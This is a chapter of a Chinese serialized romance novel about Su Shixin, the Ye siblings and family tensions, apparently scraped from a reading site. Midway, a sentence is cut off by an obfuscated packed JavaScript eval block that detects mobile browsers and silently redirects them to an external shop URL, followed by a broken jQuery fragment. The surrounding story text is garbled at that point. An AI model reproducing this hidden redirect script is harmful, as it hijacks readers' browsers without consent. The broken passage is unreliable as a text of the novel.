29. 第 29 章
    宿时信走到露天停车场,准备上车时,却被人叫住。

    文含章走了过来,笑问道:“宿总,叶蜚声最近还好吗?”

    宿时信没有说话,偏过头,眼底露出了些许疑惑。

    见他不说话,文含章以为他误会,连忙解释,“不好意思,宿总,是我唐突了。是这样,叶蜚声大学时曾经上过我一门选修课,我对她印象深刻。今晚在桌上忽然间提起,就想来问问她的近况,听说她大学毕业后去了美国留学?”

    文含章之前是京大文物学教授,任教十多年,之后辞职创业,开办了一家古玩店。

    这次文创园勘察之行,刘立扬看中的便是他的专业知识,希望他能在文创园后期创建过程中,将旧址开发与古建筑完好保存做好平衡。

    宿时信答:“是,她现在纽约留学,明年毕业。”

    文含章等着他的下文,却没想他说到这里便停下,便自然笑了两声,“那行,我们就聊到这,宿总晚上喝了不少酒,快回家休息吧。”

    宿时信点头,正要上车,又忽然停住,偏过身问了句,“文老师对叶蜚声评价如何?”

    文含章立定在原地,想了想,笑答:“我也只教过叶蜚声一学期的课程,那是门选修课,许多学生都不太重视,每次不是早退就是旷课,教室常常空空荡荡,让我这个做老师的好没自信心。不过那些学生里不包括叶蜚声,不管下雨还是下雪,每次我一进教室,她都早早坐在第一排,所以我对她印象很好。”

    宿时信的表情在停车场两旁的昏黄路灯下暧昧不明,淡声说:“是吗?”

    文含章:“是啊,而且叶蜚声对陶艺这一行是怀揣着热爱之心的。我当时的办公室就在陶艺实验室旁边,有时下班晚,还能看到叶蜚声深夜还守着窑炉……”

    宿时信安静的听着,不应他的话,也不发表任何意见。

    文含章喋喋不休的说了许多,一抬头看见他淡漠神情,以为他没有兴趣,便将话题就此打住,“时间太晚了,我就不打扰您了,我们下次有机会再聊。”

    宿时信这才像是有了反应,点头道了一声“好。”

    过了一周,宿时信正在办公室处理工作,叶曲淮忽然来了电话,约他下午出去吃饭。

    叶曲淮自上了大学,便开始热爱各种极限运动,不是去冰岛看极光,就是去悬崖上玩蹦极,毕了业还参加过一阵子的摩托车比赛,说是要追求自由,挑战自我,探寻生命的终极意义。

    前段时间,叶曲淮去了坦桑尼亚,来了一趟穿越乞力马扎罗的徒步越野。现在整个人晒得黢黑,整张脸上只有在说话时露出的牙齿才能看到点白。

    宿时信笑说:“你这样,非洲人民还以为你是他们同胞。”

    叶曲淮大大咧咧的不在意,喝了一口老白干,嘶嘶哈气,“等过两年,我就常驻非洲,跟非洲人民做相亲相爱的一家人。”

    叶曲棠翻了个白眼,凉声道:“你还是看看爸妈愿不愿意跟再你做家人。”

    虽然叶家生意不如晟远规模大,但好歹也是一个正经公司。叶仕国白手起家,对这份事业颇为得意,最大的心愿就是把生意交到自己儿子手里,儿子再传给孙子,等到闭眼那天,他叶仕国的公司怎么也算得上是近百年的企业。

    然而叶曲淮一心追逐自由,对公司里的事毫无兴趣,不管叶仕国怎么说,他都打死不干。

    连同卢美君也对这个亲生儿子有了意见,再不会无条件站在叶曲淮这边。

    叶曲淮遭受两面夹击,苦不堪言,说的急了,他就来一句,“叶家又不是我一个,不还有曲棠和蜚声,交到她们手上还不是一样!”

    叶仕国听到这话险些背过气去,他思想老旧,总认为女儿都是要嫁人的,嫁了人离了家就不是叶家的一份子,他不可能把生意交到外人手里。

    但过了几年,眼见叶曲淮追求自由的心志坚定,一天班都不愿意坐,他有心无力,想想交给女儿就交给女儿吧。

    可叶曲棠经营自己的自媒体事业,对他那些东西丝毫不感兴趣。

    至于叶蜚声,他却是想都没想过,别说卢美君不同意,他自己对叶蜚声也不太信任。

    这种信任也不是说叶蜚声会吃里扒外背叛叶家,而是他一开始就不将叶蜚声算在叶家的孩子里,他对叶蜚声只有些许式微的抚养责任。

    他想着就算老了干不动,把公司交给专业经理人,也不会让叶蜚声来主事。

    但心里给自己一顿安排,实际上仍旧没法说服自己。他们这对夫妻还是见缝插针的在叶曲淮耳边叨叨,不管是激将,还是利诱,什么办法都使了,可叶曲淮始终不为所动。

    最后叶仕国气得没办法,丢下狠话说要和叶曲淮断绝父子关系。他以为叶曲淮这下终于知道害怕,结果叶曲淮背起包,提着行李箱就飞去了坦桑尼亚,来了一场徒步越野。

    听到妹妹的话,叶曲淮面不改色,丝毫不惧威胁,“谁怕谁,大不了我再去一趟南极看企鹅。”

    叶曲棠朝他吐了吐舌头,做了个鬼脸。

    宿时信不参与他们的讨论,对叶曲淮的行为也不作评价。

    大家都是成年人,每个人都是独立的个体,谁也不必去置喙谁的生活方式。

    坦诚说,他对叶曲淮是存着几分羡慕的,能够说走就走,抛下身上的责任,不顾任何的追求自由。

    不过,这种事他只在心里想想算了,没有必要在人前说出来。

    一顿饭吃得还算愉快,叶曲淮和他们聊着非洲的所见所闻,讲他在越野途中见到的狮子大象,也讲他和非洲人民唱歌跳舞,他听不懂人家唱的歌,但不妨碍他回了一首“山丹丹花开红艳艳”……

    叶曲棠听得龇牙咧嘴,五官表情变化丰富,偶尔一脸神往,但更多的时候是面露嫌弃。

    宿时信则是全程淡定不言,看他们兄妹俩表演。

    饭局结束后,准备离开时,叶曲淮去了趟洗手间,包厢里就剩下了宿时信和叶曲棠。

    宿时信喝了口茶,说:“曲棠,把你的微博打开看一下。”

    叶曲棠眼露惊奇,似乎是没想到宿时信也会玩微博,边从桌上拿起手机点开微博,边笑:“时信哥,你也玩微博啊,你的微博账号是什么,我关注你啊,我现在可有一千多万粉丝!”

    “我不玩这个。”

    叶曲棠眨了眨眼,看着手机上的微博页面,有些莫名。

    宿时信问她:“你在微博上是不是发过一条珍珠项链,前几个月,我送到你们家里的那条。”

    叶曲棠愣了一下,然后想起了这件事,“是,怎么了吗?”

    宿时信:“找出那条微博。”

    叶曲棠不知道他这是怎么了,但还是下意识听从命令翻找起来。没一会,那条周秦远曾展示过的微博便出现在宿时信面前。

    宿时信这次没有了再查看的兴趣,直截了当说道:“把它删了。”

    “为什么?”叶曲棠发出疑问,“时信哥,你是怎么了,为什么要让我删掉这条微博?”

    宿时信嗓音有些低,但语气分明是不容置疑的,“这条微博下的评论,我不喜欢。”

    这条微博已经发出去好几个月了,底下的点赞评论数早就超过十多万,这个数量看起来吓人,但混在叶曲棠其他微博点赞数里,也没有什么稀奇。

    叶曲棠也早就忘记了底下评论说的是什么,不外乎是一些夸夸赞美评语,但现在翻了翻,终于觉出了不对。

    其中一条评论有些刺眼,叶曲棠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329758|152159||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼皮跳了跳,没敢再多说什么,手上动作飞快。

    转眼间,那条微博就彻底消失。

    “对不起,时信哥,我不是故意把你的事情说出去的。”

    宿时信只“嗯”了一声,就不再言语。

    叶曲棠吓得做了好几次深呼吸,大气也不敢喘一下,

    叶曲淮从洗手间回来,就看到包厢里静悄悄的两个人,挑眉问道:“你俩这是怎么了?干嘛不说话?”

    宿时信没有回答,叶曲棠赶紧站起来,把他往外面推,“走了走了,赶紧回家!”

    三人从包厢出来,朝餐厅门口走去,途中走过近两百米的长廊。

    叶曲淮边走边说:“这马上就到中秋了,时信,那天我们两家一块过吧,叫上爷爷、之苦和春姨,大家凑一块热闹点。”

    宿时信不太感兴趣,“再说吧。”

    叶曲棠跟着说了句,“你还想过中秋,你要是回家,爸妈非得把你的腿打断!”

    叶曲淮“啧”了一声,“你怎么这么不可爱,我开始想念蜚声了,要是蜚声在这里,才不会像你似的,一天到晚跟我过不去……”

    叶曲棠哼道:“你这么喜欢她,去美国找她去啊!”

    叶曲淮听到这话,一脸牙疼表情,“你都长大了,能不能别这么小心眼,好歹蜚声也是跟我们一起长大的,尤其是跟你。”

    他说到这里忽然停下,想了想,又说,“蜚声生日那天刚好是中秋节啊,你记得给蜚声送份礼物,都是大姑娘了,两个人也该和好了!你别总是吹鼻子瞪眼的,看这个不顺眼看那个也不顺眼。”

    叶曲棠冷笑一声,才不理会叶曲淮。

    离开餐厅,宿时信没有再回公司,而是直接让司机把车开回家。

    宿老爷子正在花园喝茶,赵唯春拿了一条毛毯从屋子里走了出来,给宿老爷子盖在腿上。

    宿时信的视线将这一幕扫过,又径直朝屋子里走去,却在听到乌桕树后面的声音时,忽然停下脚步。

    宿之苦正在打电话,“你生日刚好在中秋那天,礼物我给你邮寄过去了。是,中秋节应该还是跟我妈和爷爷过,我哥,还不确定他的安排……对不起啊声声,我不提他了……嗯,好,拜拜。”

    宿之苦收起手机,转过身,就撞上一双晦暗眼神。

    他被吓了一跳,回过神后,才镇定叫了声“哥”。

    宿时信没有理会他这声称呼,沉声问道:“你挺关注我的?”

    宿之苦愣住,还没想明白他为什么这样问,就听宿时信继续说:“跟人打电话聊起我,追踪我的动态,查探我在公司的一举一动。”

    他说到这里,笑了下,“你看起来挺闲的。”

    宿之苦眼底露出一丝紧张,“哥,我没有跟踪你,跟声声打电话也只是随口说了两句,而且她也不想听。我,我只是,爷爷和我妈都让我多关心你……”

    他有些语无伦次,宿时信却冷静打断,“是吗?”

    宿之苦立刻闭嘴,不敢再说话。

    宿老爷子看到他们,高喊了一声,“你们聊什么呢?”

    宿时信没有回头,站在原地,声音很轻,但压迫感十足,“你做的事,最好别被我抓到……”

    后面的话他没有说完,但可想而知,宿之苦一旦被他抓到把柄,不会有什么好下场。

    过了一会,赵唯春过来,就看见宿之苦一个人站在外面。

    “你站在这里干什么?”

    宿之苦笑了笑,“没什么。”

    赵唯春:“你哥回来了,我去把锅里的骨头汤热一热,待会你给他端上去。”

    说完也不管宿之苦会不会答应,就先自顾自的进去了。

    宿之苦连拒绝的权利都没有。